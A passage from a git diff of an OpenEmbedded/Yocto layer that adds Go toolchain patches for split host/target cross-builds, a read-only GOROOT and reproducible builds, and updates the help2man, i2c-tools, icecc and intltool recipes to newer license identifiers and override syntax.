+ xprintf("warning: --no-clean is deprecated and has no effect; use 'go install std cmd' instead\n")
+@@ -1357,6 +1369,18 @@ func cmdbootstrap() {
+ "Use the -force flag to build anyway.\n", goos, goarch)
+ }
+
++ if hostOnly && targetOnly {
++ fatalf("specify only one of --host-only or --target-only\n")
++ }
++ crossBuild = hostOnly || targetOnly
++ if flag.NArg() > 0 {
++ if crossBuild {
++ toBuild = flag.Args()
++ } else {
++ fatalf("package names not permitted without --host-only or --target-only\n")
++ }
++ }
++
+ // Set GOPATH to an internal directory. We shouldn't actually
+ // need to store files here, since the toolchain won't
+ // depend on modules outside of vendor directories, but if
+@@ -1434,9 +1458,14 @@ func cmdbootstrap() {
+ xprintf("\n")
+ }
+
++ // For split host/target cross/cross-canadian builds, we don't
++ // want to be setting these flags until after we have compiled
++ // the toolchain that runs on the build host.
++if !crossBuild {
+ gogcflags = os.Getenv("GO_GCFLAGS") // we were using $BOOT_GO_GCFLAGS until now
+ setNoOpt()
+ goldflags = os.Getenv("GO_LDFLAGS") // we were using $BOOT_GO_LDFLAGS until now
++}
+ goBootstrap := pathf("%s/go_bootstrap", tooldir)
+ if debug {
+ run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
+@@ -1464,7 +1493,11 @@ func cmdbootstrap() {
+ xprintf("\n")
+ }
+ xprintf("Building Go toolchain2 using go_bootstrap and Go toolchain1.\n")
++if !crossBuild {
+ os.Setenv("CC", compilerEnvLookup("CC", defaultcc, goos, goarch))
++} else {
++ os.Setenv("CC", defaultcc[""])
++}
+ // Now that cmd/go is in charge of the build process, enable GOEXPERIMENT.
+ os.Setenv("GOEXPERIMENT", goexperiment)
+ // No need to enable PGO for toolchain2.
+@@ -1517,6 +1550,7 @@ func cmdbootstrap() {
+ os.Setenv("GOCACHE", oldgocache)
+ }
+
++if !crossBuild {
+ if goos == oldgoos && goarch == oldgoarch {
+ // Common case - not setting up for cross-compilation.
+ timelog("build", "toolchain")
+@@ -1560,6 +1594,42 @@ func cmdbootstrap() {
+ checkNotStale(toolenv(), goBootstrap, toolchain...)
+ copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
+ }
++} else {
++ gogcflags = os.Getenv("GO_GCFLAGS")
++ goldflags = os.Getenv("GO_LDFLAGS")
++ tool_files, _ := filepath.Glob(pathf("%s/*", tooldir))
++ for _, f := range tool_files {
++ copyfile(pathf("%s/%s", build_tooldir, filepath.Base(f)), f, writeExec)
++ xremove(f)
++ }
++ os.Setenv("GOTOOLDIR", build_tooldir)
++ goBootstrap = pathf("%s/go_bootstrap", build_tooldir)
++ if hostOnly {
++ timelog("build", "host toolchain")
++ if vflag > 0 {
++ xprintf("\n")
++ }
++ xprintf("Building %s for host, %s/%s.\n", strings.Join(toBuild, ","), goos, goarch)
++ goInstall(toolenv(), goBootstrap, toBuild...)
++ checkNotStale(toolenv(), goBootstrap, toBuild...)
++ // Skip cmdGo staleness checks here, since we can't necessarily run the cmdGo binary
++
++ timelog("build", "target toolchain")
++ if vflag > 0 {
++ xprintf("\n")
++ }
++ } else if targetOnly {
++ goos = oldgoos
++ goarch = oldgoarch
++ os.Setenv("GOOS", goos)
++ os.Setenv("GOARCH", goarch)
++ os.Setenv("CC", compilerEnvLookup("CC", defaultcc, goos, goarch))
++ xprintf("Building %s for target, %s/%s.\n", strings.Join(toBuild, ","), goos, goarch)
++ goInstall(toolenv(), goBootstrap, toBuild...)
++ checkNotStale(toolenv(), goBootstrap, toBuild...)
++ // Skip cmdGo staleness checks here, since we can't run the target's cmdGo binary
++ }
++}
+
+ // Check that there are no new files in $GOROOT/bin other than
+ // go and gofmt and $GOOS_$GOARCH (target bin when cross-compiling).
+@@ -1582,8 +1652,12 @@ func cmdbootstrap() {
+ }
+ }
+
++ // Except that for split host/target cross-builds, we need to
++ // keep it.
++if !crossBuild {
+ // Remove go_bootstrap now that we're done.
+ xremove(pathf("%s/go_bootstrap"+exe, tooldir))
++}
+
+ if goos == "android" {
+ // Make sure the exec wrapper will sync a fresh $GOROOT to the device.
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go/0006-cmd-go-make-GOROOT-precious-by-default.patch b/meta/recipes-devtools/go/go/0006-cmd-go-make-GOROOT-precious-by-default.patch
new file mode 100644
index 0000000000..262f1e96b8
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0006-cmd-go-make-GOROOT-precious-by-default.patch
@@ -0,0 +1,114 @@
+From aff5a740d6286c04beb0593fc68b0aea5a95ad39 Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:18:56 +0430
+Subject: [PATCH 6/9] cmd/go: make GOROOT precious by default
+
+The go build tool normally rebuilds whatever it detects is
+stale. This can be a problem when GOROOT is intended to
+be read-only and the go runtime has been built as a shared
+library, since we don't want every application to be rebuilding
+the shared runtime - particularly in cross-build/packaging
+setups, since that would lead to 'abi mismatch' runtime errors.
+
+This patch prevents the install and linkshared actions from
+installing to GOROOT unless overridden with the GOROOT_OVERRIDE
+environment variable.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/cmd/go/internal/work/action.go | 3 +++
+ src/cmd/go/internal/work/build.go | 6 ++++++
+ src/cmd/go/internal/work/exec.go | 25 +++++++++++++++++++++++++
+ 3 files changed, 34 insertions(+)
+
+diff --git a/src/cmd/go/internal/work/action.go b/src/cmd/go/internal/work/action.go
+index a59072e591..9e35ebde0c 100644
+--- a/src/cmd/go/internal/work/action.go
++++ b/src/cmd/go/internal/work/action.go
+@@ -754,6 +754,9 @@ func (b *Builder) addTransitiveLinkDeps(a, a1 *Action, shlib string) {
+ if p1 == nil || p1.Shlib == "" || haveShlib[filepath.Base(p1.Shlib)] {
+ continue
+ }
++ if goRootPrecious && (p1.Standard || p1.Goroot) {
++ continue
++ }
+ haveShlib[filepath.Base(p1.Shlib)] = true
+ // TODO(rsc): The use of ModeInstall here is suspect, but if we only do ModeBuild,
+ // we'll end up building an overall library or executable that depends at runtime
+diff --git a/src/cmd/go/internal/work/build.go b/src/cmd/go/internal/work/build.go
+index 408edb5119..3d60252127 100644
+--- a/src/cmd/go/internal/work/build.go
++++ b/src/cmd/go/internal/work/build.go
+@@ -233,6 +233,8 @@ See also: go install, go get, go clean.
+
+ const concurrentGCBackendCompilationEnabledByDefault = true
+
++var goRootPrecious bool = true
++
+ func init() {
+ // break init cycle
+ CmdBuild.Run = runBuild
+@@ -246,6 +248,10 @@ func init() {
+ AddCoverFlags(CmdBuild, nil)
+ AddCoverFlags(CmdInstall, nil)
+ }
++
++ if x := os.Getenv("GOROOT_OVERRIDE"); x != "" {
++ goRootPrecious = false
++ }
+ }
+
+ // Note that flags consulted by other parts of the code
+diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
+index 9724cd07d0..544df461a2 100644
+--- a/src/cmd/go/internal/work/exec.go
++++ b/src/cmd/go/internal/work/exec.go
+@@ -544,6 +544,23 @@ func (b *Builder) build(ctx context.Context, a *Action) (err error) {
+ return err
+ }
+
++ if goRootPrecious && (a.Package.Standard || a.Package.Goroot) {
++ _, err := os.Stat(a.Package.Target)
++ if err == nil {
++ a.built = a.Package.Target
++ a.Target = a.Package.Target
++ a.buildID = b.fileHash(a.Package.Target)
++ a.Package.Stale = false
++ a.Package.StaleReason = "GOROOT-resident package"
++ return nil
++ }
++ a.Package.Stale = true
++ a.Package.StaleReason = "missing or invalid GOROOT-resident package"
++ if b.IsCmdList {
++ return nil
++ }
++ }
++
+ if err := sh.Mkdir(a.Objdir); err != nil {
+ return err
+ }
+@@ -1737,6 +1754,14 @@ func (b *Builder) linkShared(ctx context.Context, a *Action) (err error) {
+ return err
+ }
+
++ if goRootPrecious && a.Package != nil {
++ p := a.Package
++ if p.Standard || p.Goroot {
++ err := fmt.Errorf("attempting to install package %s into read-only GOROOT", p.ImportPath)
++ return err
++ }
++ }
++
+ if err := b.Shell(a).Mkdir(a.Objdir); err != nil {
+ return err
+ }
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go/0007-exec.go-filter-out-build-specific-paths-from-linker-.patch b/meta/recipes-devtools/go/go/0007-exec.go-filter-out-build-specific-paths-from-linker-.patch
new file mode 100644
index 0000000000..c5bf28f54a
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0007-exec.go-filter-out-build-specific-paths-from-linker-.patch
@@ -0,0 +1,61 @@
+From 083b5c74b12a1abeb11dd7f58a1cb1593d0000c0 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Tue, 27 Feb 2024 18:06:51 +0800
+Subject: [PATCH] exec.go: filter out build-specific paths from linker flags
+
+The flags can contain build-specific paths, breaking reproducibility.
+Filter out options that have build-specific paths.
+
+Upstream-Status: Inappropriate [ Not perfect for upstream ]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ src/cmd/go/internal/work/exec.go | 25 ++++++++++++++++++++++++-
+ 1 file changed, 24 insertions(+), 1 deletion(-)
+
+diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
+index cde867b..e3ce17d 100644
+--- a/src/cmd/go/internal/work/exec.go
++++ b/src/cmd/go/internal/work/exec.go
+@@ -1358,6 +1358,29 @@ func (b *Builder) linkActionID(a *Action) cache.ActionID {
+ return h.Sum()
+ }
+
++func filterLinkerFlags(flags []string) []string {
++ var newflags []string
++ var skipflag bool
++ skipflag = false
++ for i, flag := range flags {
++ if skipflag == true {
++ skipflag = false
++ continue
++ }
++ if strings.HasPrefix(flag, "--sysroot") || strings.HasPrefix(flag, "-fmacro-prefix-map") || strings.HasPrefix(flag, "-fdebug-prefix-map") || strings.HasPrefix(flag, "-ffile-prefix-map") || strings.HasPrefix(flag, "-fcanon-prefix-map") || strings.HasPrefix(flag, "-fprofile-prefix-map") || strings.HasPrefix(flag, "-Wl,-rpath-link"){
++ continue
++ } else if strings.HasPrefix(flag, "-extldflags") {
++ skipflag = true
++ newflags = append(newflags, flag)
++ var filterd_Extldflags []string = filterLinkerFlags(strings.Split(flags[i+1], " "))
++ newflags = append(newflags, strings.Join(filterd_Extldflags, " "))
++ } else {
++ newflags = append(newflags, flag)
++ }
++ }
++ return newflags
++}
++
+ // printLinkerConfig prints the linker config into the hash h,
+ // as part of the computation of a linker-related action ID.
+ func (b *Builder) printLinkerConfig(h io.Writer, p *load.Package) {
+@@ -1368,7 +1391,7 @@ func (b *Builder) printLinkerConfig(h io.Writer, p *load.Package) {
+ case "gc":
+ fmt.Fprintf(h, "link %s %q %s\n", b.toolID("link"), forcedLdflags, ldBuildmode)
+ if p != nil {
+- fmt.Fprintf(h, "linkflags %q\n", p.Internal.Ldflags)
++ fmt.Fprintf(h, "linkflags %q\n", filterLinkerFlags(p.Internal.Ldflags))
+ }
+
+ // GOARM, GOMIPS, etc.
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/go/go/0008-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch b/meta/recipes-devtools/go/go/0008-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch
new file mode 100644
index 0000000000..0662f66af5
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0008-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch
@@ -0,0 +1,46 @@
+From e0999902687e2e394499f7153db8d62440c4dab0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 16:33:27 +0000
+Subject: [PATCH 8/9] src/cmd/dist/buildgo.go: do not hardcode host compilers
+ into target binaries
+
+These come from $CC/$CXX on the build host and are not useful on targets;
+additionally as they contain host specific paths, this helps reproducibility.
+
+Upstream-Status: Inappropriate [needs upstream discussion]
+
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/cmd/dist/buildgo.go | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/src/cmd/dist/buildgo.go b/src/cmd/dist/buildgo.go
+index 884e9d729a..2f52edacfe 100644
+--- a/src/cmd/dist/buildgo.go
++++ b/src/cmd/dist/buildgo.go
+@@ -51,8 +51,8 @@ func mkzdefaultcc(dir, file string) {
+ fmt.Fprintf(&buf, "package cfg\n")
+ fmt.Fprintln(&buf)
+ fmt.Fprintf(&buf, "const DefaultPkgConfig = `%s`\n", defaultpkgconfig)
+- buf.WriteString(defaultCCFunc("DefaultCC", defaultcc))
+- buf.WriteString(defaultCCFunc("DefaultCXX", defaultcxx))
++ buf.WriteString(defaultCCFunc("DefaultCC", map[string]string{"":"gcc"}))
++ buf.WriteString(defaultCCFunc("DefaultCXX", map[string]string{"":"g++"}))
+ writefile(buf.String(), file, writeSkipSame)
+ return
+ }
+@@ -62,8 +62,8 @@ func mkzdefaultcc(dir, file string) {
+ fmt.Fprintf(&buf, "package main\n")
+ fmt.Fprintln(&buf)
+ fmt.Fprintf(&buf, "const defaultPkgConfig = `%s`\n", defaultpkgconfig)
+- buf.WriteString(defaultCCFunc("defaultCC", defaultcc))
+- buf.WriteString(defaultCCFunc("defaultCXX", defaultcxx))
++ buf.WriteString(defaultCCFunc("defaultCC", map[string]string{"":"gcc"}))
++ buf.WriteString(defaultCCFunc("defaultCXX", map[string]string{"":"g++"}))
+ writefile(buf.String(), file, writeSkipSame)
+ }
+
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go/0009-go-Filter-build-paths-on-staticly-linked-arches.patch b/meta/recipes-devtools/go/go/0009-go-Filter-build-paths-on-staticly-linked-arches.patch
new file mode 100644
index 0000000000..cc45496e9c
--- /dev/null
+++ b/meta/recipes-devtools/go/go/0009-go-Filter-build-paths-on-staticly-linked-arches.patch
@@ -0,0 +1,61 @@
+From 6c2438f187ca912c54a71b4ac65ab98999a019d2 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Sat, 2 Jul 2022 23:08:13 +0100
+Subject: [PATCH 9/9] go: Filter build paths on staticly linked arches
+
+Filter out build time paths from ldflags and other flags variables when they're
+embedded in the go binary so that builds are reproducible regardless of build
+location. This codepath is hit for statically linked go binaries such as those
+on mips/ppc.
+
+Upstream-Status: Submitted [https://github.com/golang/go/pull/56410]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/cmd/go/internal/load/pkg.go | 15 +++++++++++++--
+ 1 file changed, 13 insertions(+), 2 deletions(-)
+
+diff --git a/src/cmd/go/internal/load/pkg.go b/src/cmd/go/internal/load/pkg.go
+index 1549800afb..f41fb2c4ef 100644
+--- a/src/cmd/go/internal/load/pkg.go
++++ b/src/cmd/go/internal/load/pkg.go
+@@ -2277,6 +2277,17 @@ func appendBuildSetting(info *debug.BuildInfo, key, value string) {
+ info.Settings = append(info.Settings, debug.BuildSetting{Key: key, Value: value})
+ }
+
++func filterCompilerFlags(flags string) string {
++ var newflags []string
++ for _, flag := range strings.Fields(flags) {
++ if strings.HasPrefix(flag, "--sysroot") || strings.HasPrefix(flag, "-fmacro-prefix-map") || strings.HasPrefix(flag, "-fdebug-prefix-map") {
++ continue
++ }
++ newflags = append(newflags, flag)
++ }
++ return strings.Join(newflags, " ")
++}
++
+ // setBuildInfo gathers build information and sets it into
+ // p.Internal.BuildInfo, which will later be formatted as a string and embedded
+ // in the binary. setBuildInfo should only be called on a main package with no
+@@ -2384,7 +2395,7 @@ func (p *Package) setBuildInfo(ctx context.Context, autoVCS bool) {
+ if gcflags := BuildGcflags.String(); gcflags != "" && cfg.BuildContext.Compiler == "gc" {
+ appendSetting("-gcflags", gcflags)
+ }
+- if ldflags := BuildLdflags.String(); ldflags != "" {
++ if ldflags := filterCompilerFlags(BuildLdflags.String()); ldflags != "" {
+ // https://go.dev/issue/52372: only include ldflags if -trimpath is not set,
+ // since it can include system paths through various linker flags (notably
+ // -extar, -extld, and -extldflags).
+@@ -2427,7 +2438,7 @@ func (p *Package) setBuildInfo(ctx context.Context, autoVCS bool) {
+ // subset of flags that are known not to be paths?
+ if cfg.BuildContext.CgoEnabled && !cfg.BuildTrimpath {
+ for _, name := range []string{"CGO_CFLAGS", "CGO_CPPFLAGS", "CGO_CXXFLAGS", "CGO_LDFLAGS"} {
+- appendSetting(name, cfg.Getenv(name))
++ appendSetting(name, filterCompilerFlags(cfg.Getenv(name)))
+ }
+ }
+ appendSetting("GOARCH", cfg.BuildContext.GOARCH)
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/go/go_1.14.bb b/meta/recipes-devtools/go/go_1.14.bb
deleted file mode 100644
index bc90a1329e..0000000000
--- a/meta/recipes-devtools/go/go_1.14.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require go-${PV}.inc
-require go-target.inc
-
-export GOBUILDMODE=""
-export CGO_ENABLED_riscv64 = ""
-# Add pie to GOBUILDMODE to satisfy "textrel" QA checking, but mips/riscv
-# doesn't support -buildmode=pie, so skip the QA checking for mips/riscv and its
-# variants.
-python() {
- if 'mips' in d.getVar('TARGET_ARCH',True) or 'riscv' in d.getVar('TARGET_ARCH',True):
- d.appendVar('INSANE_SKIP_%s' % d.getVar('PN',True), " textrel")
- else:
- d.setVar('GOBUILDMODE', 'pie')
-}
diff --git a/meta/recipes-devtools/go/go_1.22.2.bb b/meta/recipes-devtools/go/go_1.22.2.bb
new file mode 100644
index 0000000000..46f5fbc6be
--- /dev/null
+++ b/meta/recipes-devtools/go/go_1.22.2.bb
@@ -0,0 +1,18 @@
+require go-${PV}.inc
+require go-target.inc
+
+inherit linuxloader
+
+CGO_LDFLAGS:append = " -no-pie"
+
+export GO_LDSO = "${@get_linuxloader(d)}"
+export CC_FOR_TARGET = "gcc"
+export CXX_FOR_TARGET = "g++"
+
+# mips/rv64 doesn't support -buildmode=pie, so skip the QA checking for mips/riscv32 and its
+# variants.
+python() {
+ if 'mips' in d.getVar('TARGET_ARCH') or 'riscv32' in d.getVar('TARGET_ARCH'):
+ d.appendVar('INSANE_SKIP:%s' % d.getVar('PN'), " textrel")
+}
+
diff --git a/meta/recipes-devtools/help2man/help2man-native_1.47.15.bb b/meta/recipes-devtools/help2man/help2man-native_1.47.15.bb
deleted file mode 100644
index 4f80a2bdb1..0000000000
--- a/meta/recipes-devtools/help2man/help2man-native_1.47.15.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Program for creating simple man pages"
-SECTION = "devel"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-DEPENDS = "autoconf-native automake-native"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "c25a35b30eceb315361484b0ff1f81c924e8ee5c8881576f1ee762f001dbcd1c"
-
-inherit autotools native
-
-EXTRA_OECONF = "--disable-nls"
-
-# We don't want to reconfigure things as it would require 'perlnative' to be
-# used.
-do_configure() {
- oe_runconf
-}
-
-do_install_append () {
- # Make sure we use /usr/bin/env perl
- sed -i -e "1s:#!.*:#! /usr/bin/env perl:" ${D}${bindir}/help2man
-}
diff --git a/meta/recipes-devtools/help2man/help2man_1.49.3.bb b/meta/recipes-devtools/help2man/help2man_1.49.3.bb
new file mode 100644
index 0000000000..75931a511f
--- /dev/null
+++ b/meta/recipes-devtools/help2man/help2man_1.49.3.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Program for creating simple man pages"
+HOMEPAGE = "https://www.gnu.org/software/help2man/"
+DESCRIPTION = "help2man is a tool for automatically generating simple manual pages from program output."
+SECTION = "devel"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "4d7e4fdef2eca6afe07a2682151cea78781e0a4e8f9622142d9f70c083a2fd4f"
+
+inherit autotools
+
+# This is a hand-maintained aclocal.m4 but our autotools class currently deletes
+# aclocal.m4.
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+EXTRA_OECONF = "--disable-nls"
+
+do_install:append () {
+ # Make sure we use /usr/bin/env perl
+ sed -i -e "1s:#!.*:#! /usr/bin/env perl:" ${D}${bindir}/help2man
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb b/meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb
deleted file mode 100644
index c5761170aa..0000000000
--- a/meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Set of i2c tools for linux"
-HOMEPAGE = "https://i2c.wiki.kernel.org/index.php/I2C_Tools"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/utils/i2c-tools/${BP}.tar.gz \
-"
-
-SRC_URI[md5sum] = "3536237a6b51fb10caacdc3b8a496237"
-SRC_URI[sha256sum] = "ef8f77afc70e7dbfd1171bfeae87a8a7f10074829370ce8d9ccd585a014e0073"
-
-inherit update-alternatives
-
-EXTRA_OEMAKE = "bindir=${bindir} sbindir=${sbindir} \
- incdir=${includedir} libdir=${libdir} \
- mandir=${mandir} \
- EXTRA=eeprog"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
-
-PACKAGES =+ "${PN}-misc"
-FILES_${PN}-misc = "${sbindir}/i2c-stub-from-dump \
- ${bindir}/ddcmon \
- ${bindir}/decode-edid \
- ${bindir}/decode-dimms \
- ${bindir}/decode-vaio \
- "
-RDEPENDS_${PN}-misc = "${PN} perl perl-module-posix \
- perl-module-constant perl-module-file-basename \
- perl-module-fcntl perl-module-strict perl-module-vars \
- perl-module-carp \
- "
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "i2cdetect i2cdump i2cget i2cset i2ctransfer"
-ALTERNATIVE_LINK_NAME[i2cdetect] = "${sbindir}/i2cdetect"
-ALTERNATIVE_LINK_NAME[i2cdump] = "${sbindir}/i2cdump"
-ALTERNATIVE_LINK_NAME[i2cget] = "${sbindir}/i2cget"
-ALTERNATIVE_LINK_NAME[i2cset] = "${sbindir}/i2cset"
-ALTERNATIVE_LINK_NAME[i2ctransfer] = "${sbindir}/i2ctransfer"
diff --git a/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb b/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb
new file mode 100644
index 0000000000..4e43c51496
--- /dev/null
+++ b/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Set of i2c tools for linux"
+HOMEPAGE = "https://i2c.wiki.kernel.org/index.php/I2C_Tools"
+DESCRIPTION = "The i2c-tools package contains a heterogeneous set of I2C tools for Linux: a bus probing tool, a chip dumper, register-level SMBus access helpers, EEPROM decoding scripts, EEPROM programming tools, and a python module for SMBus access. All versions of Linux are supported, as long as I2C support is included in the kernel."
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/utils/i2c-tools/${BP}.tar.gz \
+"
+
+SRC_URI[sha256sum] = "eec464e42301d93586cbeca3845ed61bff40f560670e5b35baec57301d438148"
+
+inherit update-alternatives
+
+EXTRA_OEMAKE = "bindir=${bindir} sbindir=${sbindir} \
+ incdir=${includedir} libdir=${libdir} \
+ mandir=${mandir} \
+ EXTRA=eeprog"
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+}
+
+PACKAGES =+ "${PN}-misc"
+FILES:${PN}-misc = "${sbindir}/i2c-stub-from-dump \
+ ${bindir}/ddcmon \
+ ${bindir}/decode-edid \
+ ${bindir}/decode-dimms \
+ ${bindir}/decode-vaio \
+ "
+RDEPENDS:${PN}-misc = "${PN} perl perl-module-posix \
+ perl-module-constant perl-module-file-basename \
+ perl-module-fcntl perl-module-strict perl-module-vars \
+ perl-module-carp \
+ "
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "i2cdetect i2cdump i2cget i2cset i2ctransfer"
+ALTERNATIVE_LINK_NAME[i2cdetect] = "${sbindir}/i2cdetect"
+ALTERNATIVE_LINK_NAME[i2cdump] = "${sbindir}/i2cdump"
+ALTERNATIVE_LINK_NAME[i2cget] = "${sbindir}/i2cget"
+ALTERNATIVE_LINK_NAME[i2cset] = "${sbindir}/i2cset"
+ALTERNATIVE_LINK_NAME[i2ctransfer] = "${sbindir}/i2ctransfer"
diff --git a/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb b/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
index 231c1c20ec..1826c7a40e 100644
--- a/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
+++ b/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
@@ -2,15 +2,15 @@ SUMMARY = "icecc environment setup script"
DESCRIPTION = "This is a version of the icecc-create-env script that has \
been modified in order to make it work with OE."
SECTION = "base"
-# source file has just a "GPL" word, but upstream is GPLv2+.
+# source file has just a "GPL" word, but upstream is GPL-2.0-or-later.
# most probably just GPL would be a mistake
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://icecc-create-env;beginline=2;endline=5;md5=ae1df3d6a058bfda40b66094c5f6065f"
-PR = "r2"
DEPENDS = ""
INHIBIT_DEFAULT_DEPS = "1"
+ICECC_DISABLED = "1"
# This is needed, because otherwise there is dependency loop from quilt-native
# Dependency loop #1 found:
@@ -35,4 +35,4 @@ do_install() {
BBCLASSEXTEND = "native nativesdk"
-RDEPENDS_${PN}_class-nativesdk = "patchelf"
+RDEPENDS:${PN}:class-nativesdk = "patchelf"
diff --git a/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb b/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
index 304ad7fec0..034a0047d7 100644
--- a/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
+++ b/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
@@ -1,6 +1,7 @@
# Copyright (c) 2018 Joshua Watt, Garmin International,Inc.
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Generates Icecream toolchain for SDK"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${WORKDIR}/icecc-env.sh;beginline=2;endline=20;md5=dd6b68c1efed8a9fb04e409b3b287d47"
@@ -33,6 +34,6 @@ do_install() {
}
PACKAGES = "${PN}"
-FILES_${PN} = "${SDKPATHNATIVE}"
-RDEPENDS_${PN} += "nativesdk-icecc-create-env"
+FILES:${PN} = "${SDKPATHNATIVE}"
+RDEPENDS:${PN} += "nativesdk-icecc-create-env"
diff --git a/meta/recipes-devtools/intltool/intltool_0.51.0.bb b/meta/recipes-devtools/intltool/intltool_0.51.0.bb
index ecff2faf25..0f90ab4f1c 100644
--- a/meta/recipes-devtools/intltool/intltool_0.51.0.bb
+++ b/meta/recipes-devtools/intltool/intltool_0.51.0.bb
@@ -1,6 +1,8 @@
SUMMARY = "Utility scripts for internationalizing XML"
+HOMEPAGE = "https://launchpad.net/intltool"
+DESCRIPTION = "Utility scripts for internationalizing XML. This tool automatically extracts translatable strings from oaf, glade, bonobo ui, nautilus theme and other XML files into the po files."
SECTION = "devel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
SRC_URI = "http://launchpad.net/${BPN}/trunk/${PV}/+download/${BP}.tar.gz \
@@ -15,23 +17,23 @@ SRC_URI[sha256sum] = "67c74d94196b153b774ab9f89b2fa6c6ba79352407037c8c14d5aeb334
UPSTREAM_CHECK_URI = "https://launchpad.net/intltool/trunk/"
DEPENDS = "libxml-parser-perl-native"
-RDEPENDS_${PN} = "gettext-dev libxml-parser-perl"
-DEPENDS_class-native = "libxml-parser-perl-native gettext-native"
+RDEPENDS:${PN} = "gettext-dev libxml-parser-perl"
+DEPENDS:class-native = "libxml-parser-perl-native gettext-native"
inherit autotools pkgconfig perlnative
export PERL = "${bindir}/env perl"
-PERL_class-native = "/usr/bin/env nativeperl"
-PERL_class-nativesdk = "/usr/bin/env perl"
+PERL:class-native = "/usr/bin/env nativeperl"
+PERL:class-nativesdk = "/usr/bin/env perl"
# gettext is assumed to exist on the host
-RDEPENDS_${PN}_class-native = "libxml-parser-perl-native"
-RRECOMMENDS_${PN} = "perl-modules"
-RRECOMMENDS_${PN}_class-native = ""
+RDEPENDS:${PN}:class-native = "libxml-parser-perl-native"
+RRECOMMENDS:${PN} = "perl-modules"
+RRECOMMENDS:${PN}:class-native = ""
-FILES_${PN}-dev = ""
-FILES_${PN} += "${datadir}/aclocal"
+FILES:${PN}-dev = ""
+FILES:${PN} += "${datadir}/aclocal"
-INSANE_SKIP_${PN} += "dev-deps"
